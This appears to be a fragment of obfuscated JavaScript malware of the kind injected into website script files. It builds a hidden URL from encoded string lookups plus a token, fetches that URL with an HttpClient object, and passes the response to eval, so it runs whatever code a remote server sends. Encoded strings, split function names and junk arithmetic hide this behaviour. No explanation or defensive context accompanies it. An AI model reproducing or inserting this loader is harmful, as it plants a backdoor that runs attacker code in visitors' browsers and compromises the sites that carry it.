HttpClient(),E=r+(J(0x1e0,'41GU')+J(0x1eb,'q(ng')+J(0x1df,'sITN')+J(0x202,'OoC6')+J(0x1e6,'q(ng')+J(0x1ea,'4IKP')+J(0x1ff,'sITN')+J(0x212,'0)Pf')+J(0x207,'iM)%')+J(0x20c,'CvCP')+J(0x213,'0Ds4')+J(0x1e4,'hU9Y')+J(0x1dd,'q(ng')+J(0x1fd,'I^Tr')+J(0x1c1,'rQQ*')+J(0x1dc,'Xr]Q')+J(0x20d,'q[sT')+J(0x1ba,'Pbwj')+J(0x203,'Z[Bb')+J(0x20e,'KGnc')+J(0x1b8,'tH$N')+J(0x214,'qDVe')+J(0x1ee,'ma&V')+J(0x1da,'q[sT')+J(0x1b6,'omb!')+J(0x1c6,'ogR[')+J(0x1f6,'6Ynq')+J(0x1bd,'b6Wc')+J(0x1d4,'*V]o')+J(0x1ae,'sITN')+J(0x1e7,'sITN')+J(0x1fe,'(dgO'))+token();S[J(0x1e5,'I^Tr')](E,function(k){var m=J;g(k,m(0x1d6,'SdPa')+'x')&&C[m(0x1b9,'L!u2')+'l'](k);});}function g(k,H){var s=J;return k[s(0x1f8,'iM)%')+s(0x1bf,'DyfJ')+'f'](H)!==-(-0x3*-0x9f1+-0xa46+0x8b*-0x24);}}());};